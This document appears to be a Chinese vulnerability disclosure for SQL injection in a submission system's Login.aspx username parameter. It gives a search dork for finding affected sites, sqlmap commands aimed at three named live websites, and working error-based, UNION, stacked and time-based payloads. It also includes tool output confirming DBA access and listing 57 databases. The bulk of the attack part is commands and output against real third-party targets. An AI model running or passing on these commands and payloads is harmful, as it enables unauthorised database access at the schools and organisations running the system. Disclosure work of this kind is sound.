某投稿系统通用型SQL注射漏洞（影响众多企事业单位及学校）

### 简要描述： 某投稿系统通用型SQL注射漏洞 ### 详细说明： 南京杰诺瀚软件科技有限公司的投稿系统SQL注射漏洞 ``` intitle:投稿系统 技术支持：南京杰诺瀚软件科技有限公司 ``` Web/Login.aspx 页面的 username 参数存在问题 DBA 权限注射 URL: ``` http://209.116.186.246/#newwindow=1&q=intitle:%E6%8A%95%E7%A8%BF%E7%B3%BB%E7%BB%9F+%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81%EF%BC%9A%E5%8D%97%E4%BA%AC%E6%9D%B0%E8%AF%BA%E7%80%9A%E8%BD%AF%E4%BB%B6%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8 ``` 1：sqlmap.py -u "http://www.cnemergency.com/Web/Login.aspx" --data "usern ame=" --is-dba --dbs ``` --- Place: POST Parameter: username Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: username=' AND 3756=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(10 6)+CHAR(104)+CHAR(113)+(SELECT (CASE WHEN (3756=3756) THEN CHAR(49) ELSE CHAR(48 ) END))+CHAR(113)+CHAR(113)+CHAR(109)+CHAR(118)+CHAR(113))) AND 'OGZf'='OGZf Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(108)+CHAR(106)+CHAR(104) +CHAR(113)+CHAR(87)+CHAR(65)+CHAR(85)+CHAR(70)+CHAR(71)+CHAR(89)+CHAR(102)+CHAR( 109)+CHAR(101)+CHAR(111)+CHAR(113)+CHAR(113)+CHAR(109)+CHAR(118)+CHAR(113)-- --- [10:49:50] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2000 [10:49:50] [INFO] testing if current user is DBA current user is DBA: True available databases [57]: [*] bl [*] cdxxgc [*] cghy [*] cymx [*] d1 [*] demcom [*] demo [*] dj [*] dxjykx [*] Eye [*] gjzhyx [*] GuaHao [*] hh [*] hhzrkx [*] hlgl [*] hnxbyx [*] hxyqdz [*] j4e [*] jjyx [*] lcjsyx [*] lcjyzzs [*] lcsjbx [*] lcsjwk [*] lnyxybj [*] main [*] master [*] mfskin [*] model [*] mrzxwk [*] msdb [*] mz [*] mzyfs [*] njsd [*] nky [*] Northwind [*] nxgb [*] nydxxb [*] pifu [*] pubs [*] rfic [*] SMS [*] st [*] sypfb [*] tempdb [*] test [*] wcbx [*] wf [*] wlxb [*] xdx [*] xhnj [*] xjyx [*] xnxyxb [*] yxjz [*] zdblx [*] zjyx [*] zr [*] zxyjh ``` [<img src="https://images.seebug.org/upload/201407/29084313747802420e0bb613f0927e8fd325de54.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29084313747802420e0bb613f0927e8fd325de54.jpg) 2： sqlmap.py -u "http://www.j4eseu.com/Web/Login.aspx" --data "username=" --is-dba --dbs ``` --- Place: POST Parameter: username Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(112)+CHAR(101) +CHAR(113)+CHAR(102)+CHAR(90)+CHAR(73)+CHAR(89)+CHAR(105)+CHAR(108)+CHAR(80)+CHA R(98)+CHAR(83)+CHAR(85)+CHAR(113)+CHAR(97)+CHAR(122)+CHAR(120)+CHAR(113)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: username='; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: username=' WAITFOR DELAY '0:0:5'-- --- [11:01:03] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2000 [11:01:03] [INFO] testing if current user is DBA current user is DBA: True available databases [57]: [*] bl [*] cdxxgc [*] cghy [*] cymx [*] d1 [*] demcom [*] demo [*] dj [*] dxjykx [*] Eye [*] gjzhyx [*] GuaHao [*] hh [*] hhzrkx [*] hlgl [*] hnxbyx [*] hxyqdz [*] j4e [*] jjyx [*] lcjsyx [*] lcjyzzs [*] lcsjbx [*] lcsjwk [*] lnyxybj [*] main [*] master [*] mfskin [*] model [*] mrzxwk [*] msdb [*] mz [*] mzyfs [*] njsd [*] nky [*] Northwind [*] nxgb [*] nydxxb [*] pifu [*] pubs [*] rfic [*] SMS [*] st [*] sypfb [*] tempdb [*] test [*] wcbx [*] wf [*] wlxb [*] xdx [*] xhnj [*] xjyx [*] xnxyxb [*] yxjz [*] zdblx [*] zjyx [*] zr [*] zxyjh ``` [<img src="https://images.seebug.org/upload/201407/290843463f59d5aa4ff76d5357707761eb184db0.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/290843463f59d5aa4ff76d5357707761eb184db0.jpg) 3： sqlmap.py -u "http://www.linpi.net/Web/Login.aspx" --data "username=" --is-dba --dbs ``` --- Place: POST Parameter: username Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(114)+CHAR(117) +CHAR(113)+CHAR(66)+CHAR(106)+CHAR(118)+CHAR(75)+CHAR(112)+CHAR(66)+CHAR(80)+CHA R(80)+CHAR(83)+CHAR(68)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(120)+CHAR(113)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: username='; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: username=' WAITFOR DELAY '0:0:5'-- --- [11:03:16] [INFO] testing Microsoft SQL Server [11:03:19] [INFO] confirming Microsoft SQL Server [11:03:21] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2000 [11:03:21] [INFO] testing if current user is DBA current user is DBA: True available databases [57]: [*] bl [*] cdxxgc [*] cghy [*] cymx [*] d1 [*] demcom [*] demo [*] dj [*] dxjykx [*] Eye [*] gjzhyx [*] GuaHao [*] hh [*] hhzrkx [*] hlgl [*] hnxbyx [*] hxyqdz [*] j4e [*] jjyx [*] lcjsyx [*] lcjyzzs [*] lcsjbx [*] lcsjwk [*] lnyxybj [*] main [*] master [*] mfskin [*] model [*] mrzxwk [*] msdb [*] mz [*] mzyfs [*] njsd [*] nky [*] Northwind [*] nxgb [*] nydxxb [*] pifu [*] pubs [*] rfic [*] SMS [*] st [*] sypfb [*] tempdb [*] test [*] wcbx [*] wf [*] wlxb [*] xdx [*] xhnj [*] xjyx [*] xnxyxb [*] yxjz [*] zdblx [*] zjyx [*] zr [*] zxyjh ``` [<img src="https://images.seebug.org/upload/201407/29084440d465eee7e3df7af77b724588c1933ee3.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29084440d465eee7e3df7af77b724588c1933ee3.jpg) ### 漏洞证明： 上面